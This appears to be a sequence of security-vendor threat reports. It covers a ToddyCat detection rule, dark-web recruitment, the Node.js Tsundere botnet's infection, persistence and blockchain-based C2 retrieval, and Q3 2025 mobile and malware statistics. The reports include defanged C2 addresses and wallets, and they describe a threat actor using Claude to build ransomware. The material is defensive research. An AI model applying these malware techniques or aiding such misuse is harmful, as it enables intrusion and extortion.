- 'powerpnt'
- 'outlook'
- 'excel'
- 'onedrive'
- 'sharepoint'
condition: selection
falsepositives: Legitimate activity
level: high
Below is an example of the ProcDump tool from the Sysinternals package used to dump the Outlook process memory, detected by Kaspersky Anti Targeted Attack (KATA).
Example of Outlook process dump detection in KATA
Takeaways
The incidents reviewed in this article show that ToddyCat APT is constantly evolving its techniques and seeking new ways to conceal its activity aimed at gaining access to corporate correspondence within compromised infrastructure. Most of the techniques described here can be successfully detected. For timely identification of these techniques, we recommend using both host-based EPP solutions, such as Kaspersky Endpoint Security for Business, and complex threat monitoring systems, such as Kaspersky Anti Targeted Attack. For comprehensive, up-to-date information on threats and corresponding detection rules, we recommend Kaspersky Threat Intelligence.
In 2022, we published our research examining how IT specialists look for work on the dark web. Since then, the job market has shifted, along with the expectations and requirements placed on professionals. However, recruitment and headhunting on the dark web remain active.
So, what does this job market look like today? This report examines how employment and recruitment function on the dark web, drawing on 2,225 job-related posts collected from shadow forums between January 2023 and June 2025. Our analysis shows that the dark web continues to serve as a parallel labor market with its own norms, recruitment practices and salary expectations, while also reflecting broader global economic shifts. Notably, job seekers increasingly describe prior work experience within the shadow economy, suggesting that for many, this environment is familiar and long-standing.
The majority of job seekers do not specify a professional field, with 69% expressing willingness to take any available work. At the same time, a wide range of roles are represented, particularly in IT. Developers, penetration testers and money launderers remain the most in-demand specialists, with reverse engineers commanding the highest average salaries. We also observe a significant presence of teenagers in the market, many seeking small, fast earnings and often already familiar with fraudulent schemes.
While the shadow market contrasts with legal employment in areas such as contract formality and hiring speed, there are clear parallels between the two. Both markets increasingly prioritize practical skills over formal education, conduct background checks and show synchronized fluctuations in supply and demand.
Looking ahead, we expect the average age and qualifications of dark web job seekers to rise, driven in part by global layoffs. Ultimately, the dark web job market is not isolated — it evolves alongside the legitimate labor market, influenced by the same global economic forces.
Tsundere is a new botnet, discovered by our Kaspersky GReAT around mid-2025. We have correlated this threat with previous reports from October 2024 that reveal code similarities, as well as the use of the same C2 retrieval method and wallet. In that instance, the threat actor created malicious Node.js packages and used the Node Package Manager (npm) to deliver the payload. The packages were named similarly to popular packages, employing a technique known as typosquatting. The threat actor targeted libraries such as Puppeteer, Bignum.js, and various cryptocurrency packages, resulting in 287 identified malware packages. This supply chain attack affected Windows, Linux, and macOS users, but it was short-lived, as the packages were removed and the threat actor abandoned this infection method after being detected.
The threat actor resurfaced around July 2025 with a new threat. We have dubbed it the Tsundere bot after its C2 panel. This botnet is currently expanding and poses an active threat to Windows users.
Initial infection
Currently, there is no conclusive evidence on how the Tsundere bot implants are being spread. However, in one documented case, the implant was installed via a Remote Monitoring and Management (RMM) tool, which downloaded a file named pdf.msi from a compromised website. In other instances, the sample names suggest that the implants are being disseminated using the lure of popular Windows games, particularly first-person shooters. The samples found in the wild have names such as “valorant”, “cs2”, or “r6x”, which appear to be attempts to capitalize on the popularity of these games among piracy communities.
Malware implants
According to the C2 panel, there are two distinct formats for spreading the implant: via an MSI installer and via a PowerShell script. Implants are automatically generated by the C2 panel (as described in the Infrastructure section).
MSI installer
The MSI installer was often disguised as a fake installer for popular games and other software to lure new victims. Notably, at the time of our research, it had a very low detection rate.
The installer contains a list of data and JavaScript files that are updated with each new build, as well as the necessary Node.js executables to run these scripts. The following is a list of files included in the sample:
The last three files in the list are legitimate Node.js files. They are installed alongside the malicious artifacts in the user’s AppData\Local\nodejs directory.
An examination of the CustomAction table reveals the process by which Windows Installer executes the malware and installs the Tsundere bot:
This will execute Node.js code that spawns a new Node.js process, which runs the loader JavaScript code (in this case, B4jHWzJnlABB2B7). The resulting child process runs in the background, remaining hidden from the user.
Loader script
The loader script is responsible for ensuring the correct decryption and execution of the main bot script, which handles npm unpackaging and configuration. Although the loader code, similar to the code for the other JavaScript files, is obfuscated, it can be deobfuscated using open-source tools. Once executed, the loader attempts to locate the unpackaging script and configuration for the Tsundere bot, decrypts them using the AES-256 CBC cryptographic algorithm with a build-specific key and IV, and saves the decrypted files under different filenames.
The configuration file is a JSON that defines a directory and file structure, as well as file contents, which the malware will recreate. The malware author refers to this file as “config”, but its primary purpose is to package and deploy the Node.js package manager (npm) without requiring manual installation or downloading. The unpackaging script is responsible for recreating this structure, including the node_modules directory with all its libraries, which contains packages necessary for the malware to run.
With the environment now set up, the malware proceeds to install three packages to the node_modules directory using npm:
ws: a WebSocket networking library
ethers: a library for communicating with Ethereum
pm2: a Node.js process management tool
Loader script installing the necessary toolset for Tsundere persistence and execution
The pm2 package is installed to ensure the Tsundere bot remains active and used to launch the bot. Additionally, pm2 helps achieve persistence on the system by writing to the registry and configuring itself to restart the process upon login.
PowerShell infector
The PowerShell version of the infector operates in a more compact and simplified manner. Instead of utilizing a configuration file and an unpacker — as done with the MSI installer — it downloads the ZIP file node-v18.17.0-win-x64.zip from the official Node.js website nodejs[.]org and extracts it to the AppData\Local\NodeJS directory, ultimately deploying Node.js on the targeted device. The infector then uses the AES-256-CBC algorithm to decrypt two large hexadecimal-encoded variables, which correspond to the bot script and a persistence script. These decrypted files, along with a package.json file are written to the disk. The package.json file contains information about the malicious Node.js package, as well as the necessary libraries to be installed, including the ws and ethers packages. Finally, the infector runs both scripts, starting with the persistence script that is followed by the bot script.
The PowerShell infector creates a package file with the implant dependencies
Persistence is achieved through the same mechanism observed in the MSI installer: the script creates a value in the HKCU:\Software\Microsoft\Windows\CurrentVersion\Run registry key that points to itself. It then overwrites itself with a new script that is Base64 decoded. This new script is responsible for ensuring the bot is executed on each login by spawning a new instance of the bot.
Tsundere bot
We will now delve into the Tsundere bot, examining its communication with the command-and-control (C2) server and its primary functionality.
C2 address retrieval
Web3 contracts, also known as smart contracts, are deployed on a blockchain via transactions from a wallet. These contracts can store data in variables, which can be modified by functions defined within the contract. In this case, the Tsundere botnet utilizes the Ethereum blockchain, where a method named setString(string _str) is defined to modify the state variable param1, allowing it to store a string. The string stored in param1 is used by the Tsundere botnet administrators to store new WebSocket C2 servers, which can be rotated at will and are immutable once written to the Ethereum blockchain.
The Tsundere botnet relies on two constant points of reference on the Ethereum blockchain:
In order to change the C2 server, the Tsundere botnet makes a transaction to update the state variable with a new address. Below is a transaction made on August 19, 2025, with a value of 0 ETH, which updates the address.
Smart contract containing the Tsundere botnet WebSocket C2
The state variable has a fixed length of 32 bytes, and a string of 24 bytes (see item [2] in the previous image) is stored within it. When this string is converted from hexadecimal to ASCII, it reveals the new WebSocket C2 server address: ws[:]//185.28.119[.]179:1234.
To obtain the C2 address, the bot contacts various public endpoints that provide remote procedure call (RPC) APIs, allowing them to interact with Ethereum blockchain nodes. At the start of the script, the bot calls a function named fetchAndUpdateIP, which iterates through a list of RPC providers. For each provider, it checks the transactions associated with the contract address and wallet owner, and then retrieves the string from the state variable containing the WebSocket address, as previously observed.
Malware code for retrieval of C2 from the smart contract
The Tsundere bot verifies that the C2 address starts with either ws:// or wss:// to ensure it is a valid WebSocket URL, and then sets the obtained string as the server URL. But before using this new URL, the bot first checks the system locale by retrieving the culture name of the machine to avoid infecting systems in the CIS region. If the system is not in the CIS region, the bot establishes a connection to the server via a WebSocket, setting up the necessary handlers for receiving, sending, and managing connection states, such as errors and closed sockets.
Bot handlers for communication
Communication
The communication flow between the client (Tsundere bot) and the server (WebSocket C2) is as follows:
The Tsundere bot establishes a WebSocket connection with the retrieved C2 address.
An AES key is transmitted immediately after the connection is established.
The bot sends an empty string to confirm receipt of the key.
The server then sends an IV, enabling the use of encrypted communication from that point on.
Encryption is required for all subsequent communication.
The bot transmits the OS information of the infected machine, including the MAC address, total memory, GPU information, and other details. This information is also used to generate a unique identifier (UUID).
The C2 server responds with a JSON object, acknowledging the connection and confirming the bot’s presence.
With the connection established, the client and server can exchange information freely.
To maintain the connection, keep-alive messages are sent every minute using ping/pong messages.
The bot sends encrypted responses as part of the ping/pong messages, ensuring continuous communication.
Tsundere communication process with the C2 via WebSockets
The connections are not authenticated through any additional means, making it possible for a fake client to establish a connection.
As previously mentioned, the client sends an encrypted ping message to the C2 server every minute, which returns a pong message. This ping-pong exchange serves as a mechanism for the C2 panel to maintain a list of currently active bots.
Functionality
The Tsundere bot is designed to allow the C2 server to send dynamic JavaScript code. When the C2 server sends a message with ID=1 to the bot, the message is evaluated as a new function and then executed. The result of this operation is sent back to the server via a custom function named serverSend, which is responsible for transmitting the result as a JSON object, encrypted for secure communication.
Tsundere bot evaluation code once functions are received from the C2
The ability to evaluate code makes the Tsundere bot relatively simple, but it also provides flexibility and dynamism, allowing the botnet administrators to adapt it to a wide range of actions.
However, during our observation period, we did not receive any commands or functions from the C2 server, possibly because the newly connected bot needed to be requested by other threat actors through the botnet panel before it could be utilized.
Infrastructure
The Tsundere bot utilizes WebSocket as its primary protocol for establishing connections with the C2 server. As mentioned earlier, at the time of writing, the malware was communicating with the WebSocket server located at 185.28.119[.]179, and our tests indicated that it was responding positively to bot connections.
The following table lists the IP addresses and ports extracted from the provided list of URLs:
IP
Port
First seen (contract update)
ASN
185.28.119[.]179
1234
2025-08-19
AS62005
196.251.72[.]192
1234
2025-08-03
AS401120
103.246.145[.]201
1234
2025-07-14
AS211381
193.24.123[.]68
3011
2025-06-21
AS200593
62.60.226[.]179
3001
2025-05-04
AS214351
Marketplace and control panel
No business is complete without a marketplace, and similarly, no botnet is complete without a control panel. The Tsundere botnet has both a marketplace and a control panel, which are integrated into the same frontend.
Tsundere botnet panel login
The notable aspect of Tsundere’s control panel, dubbed “Tsundere Netto” (version 2.4.4), is that it has an open registration system. Any user who accesses the login form can register and gain access to the panel, which features various tabs:
Bots: a dashboard displaying the number of bots under the user’s control
Settings: user settings and administrative functions
Build: if the user has an active license, they can create new bots using the two previously mentioned methodologies (MSI or PowerShell)
Market: this is the most interesting aspect of the panel, as it allows users to promote their individual bots and offer various services and functionalities to other threat actors. Each build can create a bot that performs a specific set of actions, which can then be offered to others
Monero wallet: a wallet service that enables users to make deposits or withdrawals
Socks proxy: a feature that allows users to utilize their bots as proxies for their traffic
Tsundere botnet control panel, building system and market
Each build generates a unique build ID, which is embedded in the implant and sent to the C2 server upon infection. This build ID can be linked to the user who created it. According to our research and analysis of other URLs found in the wild, builds are created through the panel and can be downloaded via the URL:
At the time of writing this, the panel typically has between 90 and 115 bots connected to the C2 server at any given time.
Attribution
Based on the text found in the implants, we can conclude with high confidence that the threat actor behind the Tsundere botnet is likely Russian-speaking. The use of the Russian language in the implants is consistent with previous attacks attributed to the same threat actor.
Russian being used throughout the code
Furthermore, our analysis suggests a connection between the Tsundere botnet and the 123 Stealer, a C++-based stealer available on the shadow market for $120 per month. This connection is based on the fact that both panels share the same server. Notably, the main domain serves as the frontend for the 123 Stealer panel, while the subdomain “idk.” is used for the Tsundere botnet panel.
123 Stealer C2 panel sharing Tsundere’s infrastructure and showcasing its author
By examining the available evidence, we can link both threats to a Russian-speaking threat actor known as “koneko”. Koneko was previously active on a dark web forum, where they promoted the 123 Stealer, as well as other malware, including a backdoor. Although our analysis of the backdoor revealed that it was not directly related to Tsundere, it shared similarities with the Tsundere botnet in that it was written in Node.js and used PowerShell or MSI as infectors. Before the dark web forum was seized and shut down, koneko’s profile featured the title “node malware senior”, further suggesting their expertise in Node.js-based malware.
Conclusion
The Tsundere botnet represents a renewed effort by a presumably identified threat actor to revamp their toolset. The Node.js-based bot is an evolution of an attack discovered in October of last year, and it now features a new strategy and even a new business model. Infections can occur through MSI and PowerShell files, which provides flexibility in terms of disguising installers, using phishing as a point of entry, or integrating with other attack mechanisms, making it an even more formidable threat.
Additionally, the botnet leverages a technique that is gaining popularity: utilizing web3 contracts, also known as “smart contracts”, to host command-and-control (C2) addresses, which enhances the resilience of the botnet infrastructure. The botnet’s possible author, koneko, is also involved in peddling other threats, such as the 123 Stealer, which suggests that the threat is likely to escalate rather than diminish in the coming months. As a result, it is essential to closely monitor this threat and be vigilant for related threats that may emerge in the near future.
Cryptocurrency wallets Note: These are wallets that have changed the C2 address in the smart contract since it was created.
0x73625B6cdFECC81A4899D221C732E1f73e504a32
0x10ca9bE67D03917e9938a7c28601663B191E4413
0xEc99D2C797Db6E0eBD664128EfED9265fBE54579
0xf11Cb0578EA61e2EDB8a4a12c02E3eF26E80fc36
0xdb8e8B0ef3ea1105A6D84b27Fc0bAA9845C66FD7
0x10ca9bE67D03917e9938a7c28601663B191E4413
0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84
0x46b0f9bA6F1fb89eb80347c92c9e91BDF1b9E8CC
In the third quarter of 2025, we updated the methodology for calculating statistical indicators based on the Kaspersky Security Network. These changes affected all sections of the report except for the statistics on installation packages, which remained unchanged.
To illustrate the differences between the reporting periods, we have also recalculated data for the previous quarters. Consequently, these figures may significantly differ from the previously published ones. However, subsequent reports will employ this new methodology, enabling precise comparisons with the data presented in this post.
The Kaspersky Security Network (KSN) is a global network for analyzing anonymized threat information, voluntarily shared by users of Kaspersky solutions. The statistics in this report are based on KSN data unless explicitly stated otherwise.
The quarter in numbers
According to Kaspersky Security Network, in Q3 2025:
47 million attacks utilizing malware, adware, or unwanted mobile software were prevented.
Trojans were the most widespread threat among mobile malware, encountered by 15.78% of all attacked users of Kaspersky solutions.
More than 197,000 malicious installation packages were discovered, including:
52,723 associated with mobile banking Trojans.
1564 packages identified as mobile ransomware Trojans.
Quarterly highlights
The number of malware, adware, or unwanted software attacks on mobile devices, calculated according to the updated rules, totaled 3.47 million in the third quarter. This is slightly less than the 3.51 million attacks recorded in the previous reporting period.
Attacks on users of Kaspersky mobile solutions, Q2 2024 — Q3 2025 (download)
At the start of the quarter, a user complained to us about ads appearing in every browser on their smartphone. We conducted an investigation, discovering a new version of the BADBOX backdoor, preloaded on the device. This backdoor is a multi-level loader embedded in a malicious native library, librescache.so, which was loaded by the system framework. As a result, a copy of the Trojan infiltrated every process running on the device.
Another interesting finding was Trojan-Downloader.AndroidOS.Agent.no, which was embedded in mods for messaging and other apps. It downloaded Trojan-Clicker.AndroidOS.Agent.bl onto the device. The clicker received a URL from its server where an ad was being displayed, opened it in an invisible WebView window, and used machine learning algorithms to find and click the close button. In this way, fraudsters exploited the user’s device to artificially inflate ad views.
Mobile threat statistics
In the third quarter, Kaspersky security solutions detected 197,738 samples of malicious and unwanted software for Android, which is 55,000 more than in the previous reporting period.
The detected installation packages were distributed by type as follows:
Detected mobile apps by type, Q2* — Q3 2025 (download)
* Changes in the statistical calculation methodology do not affect this metric. However, data for the previous quarter may differ slightly from previously published figures due to a retrospective review of certain verdicts.
The share of banking Trojans decreased somewhat, but this was due less to a reduction in their numbers and more to an increase in other malicious and unwanted packages. Nevertheless, banking Trojans, still dominated by Mamont packages, continue to hold the top spot. The rise in Trojan droppers is also linked to them: these droppers are primarily designed to deliver banking Trojans.
Share* of users attacked by the given type of malicious or potentially unwanted app out of all targeted users of Kaspersky mobile products, Q2 — Q3 2025 (download)
* The total may exceed 100% if the same users experienced multiple attack types.
Adware leads the pack in terms of the number of users attacked, with a significant margin. The most widespread types of adware are HiddenAd (56.3%) and MobiDash (27.4%). RiskTool-type unwanted apps occupy the second spot. Their growth is primarily due to the proliferation of the Revpn module, which monetizes user internet access by turning their device into a VPN exit point. The most popular Trojans predictably remain Triada (55.8%) and Fakemoney (24.6%). The percentage of users who encountered these did not undergo significant changes.
TOP 20 most frequently detected types of mobile malware
Note that the malware rankings below exclude riskware and potentially unwanted software, such as RiskTool or adware.
Verdict
%* Q2 2025
%* Q3 2025
Difference in p.p.
Change in ranking
Trojan.AndroidOS.Triada.ii
0.00
13.78
+13.78
Trojan.AndroidOS.Triada.fe
12.54
10.32
–2.22
–1
Trojan.AndroidOS.Triada.gn
9.49
8.56
–0.93
–1
Trojan.AndroidOS.Fakemoney.v
8.88
6.30
–2.59
–1
Backdoor.AndroidOS.Triada.z
3.75
4.53
+0.77
+1
DangerousObject.Multi.Generic.
4.39
4.52
+0.13
–1
Trojan-Banker.AndroidOS.Coper.c
3.20
2.86
–0.35
+1
Trojan.AndroidOS.Triada.if
0.00
2.82
+2.82
Trojan-Dropper.Linux.Agent.gen
3.07
2.64
–0.43
+1
Trojan-Dropper.AndroidOS.Hqwar.cq
0.37
2.52
+2.15
+60
Trojan.AndroidOS.Triada.hf
2.26
2.41
+0.14
+2
Trojan.AndroidOS.Triada.ig
0.00
2.19
+2.19
Backdoor.AndroidOS.Triada.ab
0.00
2.00
+2.00
Trojan-Banker.AndroidOS.Mamont.da
5.22
1.82
–3.40
–10
Trojan-Banker.AndroidOS.Mamont.hi
0.00
1.80
+1.80
Trojan.AndroidOS.Triada.ga
3.01
1.71
–1.29
–5
Trojan.AndroidOS.Boogr.gsh
1.60
1.68
+0.08
0
Trojan-Downloader.AndroidOS.Agent.nq
0.00
1.63
+1.63
Trojan.AndroidOS.Triada.hy
3.29
1.62
–1.67
–12
Trojan-Clicker.AndroidOS.Agent.bh
1.32
1.56
+0.24
0
* Unique users who encountered this malware as a percentage of all attacked users of Kaspersky mobile solutions.
The top positions in the list of the most widespread malware are once again occupied by modified messaging apps Triada.ii, Triada.fe, Triada.gn, and others. The pre-installed backdoor Triada.z ranked fifth, immediately following Fakemoney – fake apps that collect users’ personal data under the guise of providing payments or financial services. The dropper that landed in ninth place, Agent.gen, is an obfuscated ELF file linked to the banking Trojan Coper.c, which sits immediately after DangerousObject.Multi.Generic.
Region-specific malware
In this section, we describe malware that primarily targets users in specific countries.
Verdict
Country*
%**
Trojan-Dropper.AndroidOS.Hqwar.bj
Turkey
97.22
Trojan-Banker.AndroidOS.Coper.c
Turkey
96.35
Trojan-Dropper.AndroidOS.Agent.sm
Turkey
95.10
Trojan-Banker.AndroidOS.Coper.a
Turkey
95.06
Trojan-Dropper.AndroidOS.Agent.uq
India
92.20
Trojan-Banker.AndroidOS.Rewardsteal.qh
India
91.56
Trojan-Banker.AndroidOS.Agent.wb
India
85.89
Trojan-Dropper.AndroidOS.Rewardsteal.ab
India
84.14
Trojan-Dropper.AndroidOS.Banker.bd
India
82.84
Backdoor.AndroidOS.Teledoor.a
Iran
81.40
Trojan-Dropper.AndroidOS.Hqwar.gy
Turkey
80.37
Trojan-Dropper.AndroidOS.Banker.ac
India
78.55
Trojan-Ransom.AndroidOS.Rkor.ii
Germany
76.90
Trojan-Dropper.AndroidOS.Banker.bg
India
75.12
Trojan-Banker.AndroidOS.UdangaSteal.b
Indonesia
75.00
Trojan-Dropper.AndroidOS.Banker.bc
India
74.73
Backdoor.AndroidOS.Teledoor.c
Iran
70.33
* The country where the malware was most active. ** Unique users who encountered this Trojan modification in the indicated country as a percentage of all Kaspersky mobile security solution users attacked by the same modification.
Banking Trojans, primarily Coper, continue to operate actively in Turkey. Indian users also attract threat actors distributing this type of software. Specifically, the banker Rewardsteal is active in the country. Teledoor backdoors, embedded in a fake Telegram client, have been deployed in Iran.
Notable is the surge in Rkor ransomware Trojan attacks in Germany. The activity was significantly lower in previous quarters. It appears the fraudsters have found a new channel for delivering malicious apps to users.
Mobile banking Trojans
In the third quarter of 2025, 52,723 installation packages for mobile banking Trojans were detected, 10,000 more than in the second quarter.
Installation packages for mobile banking Trojans detected by Kaspersky, Q3 2024 — Q3 2025 (download)
The share of the Mamont Trojan among all bankers slightly increased again, reaching 61.85%. However, in terms of the share of attacked users, Coper moved into first place, with the same modification being used in most of its attacks. Variants of Mamont ranked second and lower, as different samples were used in different attacks. Nevertheless, the total number of users attacked by the Mamont family is greater than that of users attacked by Coper.
TOP 10 mobile bankers
Verdict
%* Q2 2025
%* Q3 2025
Difference in p.p.
Change in ranking
Trojan-Banker.AndroidOS.Coper.c
13.42
13.48
+0.07
+1
Trojan-Banker.AndroidOS.Mamont.da
21.86
8.57
–13.28
–1
Trojan-Banker.AndroidOS.Mamont.hi
0.00
8.48
+8.48
Trojan-Banker.AndroidOS.Mamont.gy
0.00
6.90
+6.90
Trojan-Banker.AndroidOS.Mamont.hl
0.00
4.97
+4.97
Trojan-Banker.AndroidOS.Agent.ws
0.00
4.02
+4.02
Trojan-Banker.AndroidOS.Mamont.gg
0.40
3.41
+3.01
+35
Trojan-Banker.AndroidOS.Mamont.cb
3.03
3.31
+0.29
+5
Trojan-Banker.AndroidOS.Creduz.z
0.17
3.30
+3.13
+58
Trojan-Banker.AndroidOS.Mamont.fz
0.07
3.02
+2.95
+86
* Unique users who encountered this malware as a percentage of all Kaspersky mobile security solution users who encountered banking threats.
Mobile ransomware Trojans
Due to the increased activity of mobile ransomware Trojans in Germany, which we mentioned in the Region-specific malware section, we have decided to also present statistics on this type of threat. In the third quarter, the number of ransomware Trojan installation packages more than doubled, reaching 1564.
Verdict
%* Q2 2025
%* Q3 2025
Difference in p.p.
Change in ranking
Trojan-Ransom.AndroidOS.Rkor.ii
7.23
24.42
+17.19
+10
Trojan-Ransom.AndroidOS.Rkor.pac
0.27
16.72
+16.45
+68
Trojan-Ransom.AndroidOS.Congur.aa
30.89
16.46
–14.44
–1
Trojan-Ransom.AndroidOS.Svpeng.ac
30.98
16.39
–14.59
–3
Trojan-Ransom.AndroidOS.Rkor.it
0.00
10.09
+10.09
Trojan-Ransom.AndroidOS.Congur.cw
15.71
9.69
–6.03
–3
Trojan-Ransom.AndroidOS.Congur.ap
15.36
9.16
–6.20
–3
Trojan-Ransom.AndroidOS.Small.cj
14.91
8.49
–6.42
–3
Trojan-Ransom.AndroidOS.Svpeng.snt
13.04
8.10
–4.94
–2
Trojan-Ransom.AndroidOS.Svpeng.ah
13.13
7.63
–5.49
–4
* Unique users who encountered the malware as a percentage of all Kaspersky mobile security solution users attacked by ransomware Trojans.
15% of all ransomware victims whose data was published on threat actors’ data leak sites (DLSs) were victims of Qilin.
More than 254,000 users were targeted by miners.
Ransomware
Quarterly trends and highlights
Law enforcement success
The UK’s National Crime Agency (NCA) arrested the first suspect in connection with a ransomware attack that caused disruptions at numerous European airports in September 2025. Details of the arrest have not been published as the investigation remains ongoing. According to security researcher Kevin Beaumont, the attack employed the HardBit ransomware, which he described as primitive and lacking its own data leak site.
The U.S. Department of Justice filed charges against the administrator of the LockerGoga, MegaCortex and Nefilim ransomware gangs. His attacks caused millions of dollars in damage, putting him on wanted lists for both the FBI and the European Union.
U.S. authorities seized over $2.8 million in cryptocurrency, $70,000 in cash, and a luxury vehicle from a suspect allegedly involved in distributing the Zeppelin ransomware. The criminal scheme involved data theft, file encryption, and extortion, with numerous organizations worldwide falling victim.
A coordinated international operation conducted by the FBI, Homeland Security Investigations (HSI), the U.S. Internal Revenue Service (IRS), and law enforcement agencies from several other countries successfully dismantled the infrastructure of the BlackSuit ransomware. The operation resulted in the seizure of four servers, nine domains, and $1.09 million in cryptocurrency. The objective of the operation was to destabilize the malware ecosystem and protect critical U.S. infrastructure.
Vulnerabilities and attacks
SSL VPN attacks on SonicWall
Since late July, researchers have recorded a rise in attacks by the Akira threat actor targeting SonicWall firewalls supporting SSL VPN. SonicWall has linked these incidents to the already-patched vulnerability CVE-2024-40766, which allows unauthorized users to gain access to system resources. Attackers exploited the vulnerability to steal credentials, subsequently using them to access devices, even those that had been patched. Furthermore, the attackers were able to bypass multi-factor authentication enabled on the devices. SonicWall urges customers to reset all passwords and update their SonicOS firmware.
Scattered Spider uses social engineering to breach VMware ESXi
The Scattered Spider (UNC3944) group is attacking VMware virtual environments. The attackers contact IT support posing as company employees and request to reset their Active Directory password. Once access to vCenter is obtained, the threat actors enable SSH on the ESXi servers, extract the NTDS.dit database, and, in the final phase of the attack, deploy ransomware to encrypt all virtual machines.
Exploitation of a Microsoft SharePoint vulnerability
In late July, researchers uncovered attacks on SharePoint servers that exploited the ToolShell vulnerability chain. In the course of investigating this campaign, which affected over 140 organizations globally, researchers discovered the 4L4MD4R ransomware based on Mauri870 code. The malware is written in Go and packed using the UPX compressor. It demands a ransom of 0.005 BTC.
The application of AI in ransomware development
A UK-based threat actor used Claude to create and launch a ransomware-as-a-service (RaaS) platform. The AI was responsible for writing the code, which included advanced features such as anti-EDR techniques, encryption using ChaCha20 and RSA algorithms, shadow copy deletion, and network file encryption.
Anthropic noted that the attacker was almost entirely dependent on Claude, as they lacked the necessary technical knowledge to provide technical support to their own clients. The threat actor sold the completed malware kits on the dark web for $400–$1,200.
Researchers also discovered a new ransomware strain, dubbed PromptLock, that utilizes an LLM directly during attacks. The malware is written in Go. It uses hardcoded prompts to dynamically generate Lua scripts for data theft and encryption across Windows, macOS and Linux systems. For encryption, it employs the SPECK-128 algorithm, which is rarely used by ransomware groups.
Subsequently, scientists from the NYU Tandon School of Engineering traced back the likely origins of PromptLock to their own educational project, Ransomware 3.0, which they detailed in a prior publication.
The most prolific groups
This section highlights the most prolific ransomware gangs by number of victims added to each group’s DLS. As in the previous quarter, Qilin leads by this metric. Its share grew by 1.89 percentage points (p.p.) to reach 14.96%. The Clop ransomware showed reduced activity, while the share of Akira (10.02%) slightly increased. The INC Ransom group, active since 2023, rose to third place with 8.15%.
Number of each group’s victims according to its DLS as a percentage of all groups’ victims published on all the DLSs under review during the reporting period (download)
Number of new variants
In the third quarter, Kaspersky solutions detected four new families and 2,259 new ransomware modifications, nearly one-third more than in Q2 2025 and slightly more than in Q3 2024.
Number of new ransomware modifications, Q3 2024 — Q3 2025 (download)
Number of users attacked by ransomware Trojans
During the reporting period, our solutions protected 84,903 unique users from ransomware. Ransomware activity was highest in July, while August proved to be the quietest month.
Number of unique users attacked by ransomware Trojans, Q3 2025 (download)
Attack geography
TOP 10 countries attacked by ransomware Trojans
In the third quarter, Israel had the highest share (1.42%) of attacked users. Most of the ransomware in that country was detected in August via behavioral analysis.
Country/territory*
%**
1
Israel
1.42
2
Libya
0.64
3
Rwanda
0.59
4
South Korea
0.58
5
China
0.51
6
Pakistan
0.47
7
Bangladesh
0.45
8
Iraq
0.44
9
Tajikistan
0.39
10
Ethiopia
0.36
* Excluded are countries and territories with relatively few (under 50,000) Kaspersky users.
** Unique users whose computers were attacked by ransomware Trojans as a percentage of all unique users of Kaspersky products in the country/territory.
* Unique Kaspersky users attacked by the specific ransomware Trojan family as a percentage of all unique users attacked by this type of threat.
Miners
Number of new variants
In Q3 2025, Kaspersky solutions detected 2,863 new modifications of miners.
Number of new miner modifications, Q3 2025 (download)
Number of users attacked by miners
During the third quarter, we detected attacks using miner programs on the computers of 254,414 unique Kaspersky users worldwide.
Number of unique users attacked by miners, Q3 2025 (download)
Attack geography
TOP 10 countries and territories attacked by miners
Country/territory*
%**
1
Senegal
3.52
2
Mali
1.50
3
Afghanistan
1.17
4
Algeria
0.95
5
Kazakhstan
0.93
6
Tanzania
0.92
7
Dominican Republic
0.86
8
Ethiopia
0.77
9
Portugal
0.75
10
Belarus
0.75
* Excluded are countries and territories with relatively few (under 50,000) Kaspersky users.
** Unique users whose computers were attacked by miners as a percentage of all unique users of Kaspersky products in the country/territory.
Attacks on macOS
In April, researchers at Iru (formerly Kandji) reported the discovery of a new spyware family, PasivRobber. We observed the development of this family throughout the third quarter. Its new modifications introduced additional executable modules that were absent in previous versions. Furthermore, the attackers began employing obfuscation techniques in an attempt to hinder sample detection.
In July, we reported on a cryptostealer distributed through fake extensions for the Cursor AI development environment, which is based on Visual Studio Code. At that time, the malicious JavaScript (JS) script downloaded a payload in the form of the ScreenConnect remote access utility. This utility was then used to download cryptocurrency-stealing VBS scripts onto the victim’s device. Later, researcher Michael Bocanegra reported on new fake VS Code extensions that also executed malicious JS code. This time, the code downloaded a malicious macOS payload: a Rust-based loader. This loader then delivered a backdoor to the victim’s device, presumably also aimed at cryptocurrency theft. The backdoor supported the loading of additional modules to collect data about the victim’s machine. The Rust downloader was analyzed in detail by researchers at Iru.
In September, researchers at Jamf reported the discovery of a previously unknown version of the modular backdoor ChillyHell, first described in 2023. Notably, the Trojan’s executable files were signed with a valid developer certificate at the time of discovery.
The new sample had been available on Dropbox since 2021. In addition to its backdoor functionality, it also contains a module responsible for bruteforcing passwords of existing system users.
By the end of the third quarter, researchers at Microsoft reported new versions of the XCSSET spyware, which targets developers and spreads through infected Xcode projects. These new versions incorporated additional modules for data theft and system persistence.
TOP 20 threats to macOS
Unique users* who encountered this malware as a percentage of all attacked users of Kaspersky security solutions for macOS (download)
* Data for the previous quarter may differ slightly from previously published data due to some verdicts being retrospectively revised.
The PasivRobber spyware continues to increase its activity, with its modifications occupying the top spots in the list of the most widespread macOS malware varieties. Other highly active threats include Amos Trojans, which steal passwords and cryptocurrency wallet data, and various adware. The Backdoor.OSX.Agent.l family, which took thirteenth place, represents a variation on the well-known open-source malware, Mettle.
Geography of threats to macOS
TOP 10 countries and territories by share of attacked users
Country/territory
%* Q2 2025
%* Q3 2025
Mainland China
2.50
1.70
Italy
0.74
0.85
France
1.08
0.83
Spain
0.86
0.81
Brazil
0.70
0.68
The Netherlands
0.41
0.68
Mexico
0.76
0.65
Hong Kong
0.84
0.62
United Kingdom
0.71
0.58
India
0.76
0.56
IoT threat statistics
This section presents statistics on attacks targeting Kaspersky IoT honeypots. The geographic data on attack sources is based on the IP addresses of attacking devices.
In Q3 2025, there was a slight increase in the share of devices attacking Kaspersky honeypots via the SSH protocol.
Distribution of attacked services by number of unique IP addresses of attacking devices (download)
Conversely, the share of attacks using the SSH protocol slightly decreased.
Distribution of attackers’ sessions in Kaspersky honeypots (download)
TOP 10 threats delivered to IoT devices
Share of each threat delivered to an infected device as a result of a successful attack, out of the total number of threats delivered (download)
In the third quarter, the shares of the NyaDrop and Mirai.b botnets significantly decreased in the overall volume of IoT threats. Conversely, the activity of several other members of the Mirai family, as well as the Gafgyt botnet, increased. As is typical, various Mirai variants occupy the majority of the list of the most widespread malware strains.
Attacks on IoT honeypots
Germany and the United States continue to lead in the distribution of attacks via the SSH protocol. The share of attacks originating from Panama and Iran also saw a slight increase.
Country/territory
Q2 2025
Q3 2025
Germany
24.58%
13.72%
United States
10.81%
13.57%
Panama
